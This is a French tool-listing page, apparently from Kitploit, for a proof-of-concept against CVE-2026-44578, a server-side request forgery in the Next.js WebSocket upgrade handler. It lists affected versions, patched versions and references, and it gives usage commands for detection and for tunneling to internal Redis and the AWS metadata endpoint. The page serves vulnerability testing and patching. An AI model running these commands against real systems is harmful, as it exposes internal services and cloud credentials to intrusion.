CVE-2026-44578-PoC — Preuve de concept pour CVE-2026-44578, une falsification de requête côté serveur (SSRF) dans le gestionnaire de mise à niveau WebSocket de Next.js. Comprend un mode de détection et du tunneling vers des services internes comme Redis ou les points de terminaison de métadonnées cloud. | Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Preuve de concept pour CVE-2026-44578, une falsification de requête côté serveur (SSRF) dans le gestionnaire de mise à niveau WebSocket de Next.js. Comprend un mode de détection et du tunneling vers des services internes comme Redis ou les points de terminaison de métadonnées cloud.

CVE-2026-44578 - Preuve de concept SSRF WebSocket Next.js

Vulnérabilité: Server-Side Request Forgery dans le gestionnaire de mise à niveau WebSocket de Next.js (13.4.13 → 15.5.15, 16.0.0 → 16.1.6)

Utilisation

# Detect vulnerability
python3 poc.py target.com:3000 --detect

# Tunnel to internal Redis
python3 poc.py target.com:3000 --internal 127.0.0.1:6379 --payload "INFO\r\n"

# Tunnel to AWS metadata
python3 poc.py target.com:3000 --internal 169.254.169.254:80 --payload "GET /latest/meta-data/ HTTP/1.0\r\n\r\n"

Correctif

Mettez à jour vers Next.js 15.5.16 ou 16.2.5

Références

https://hadrian.io/blog/next-js-websocket-ssrf-unauthenticated-access-to-internal-resources-cve-2026-44578-2
GHSA-c4j6-fc7j-m34r

Télécharger l’outil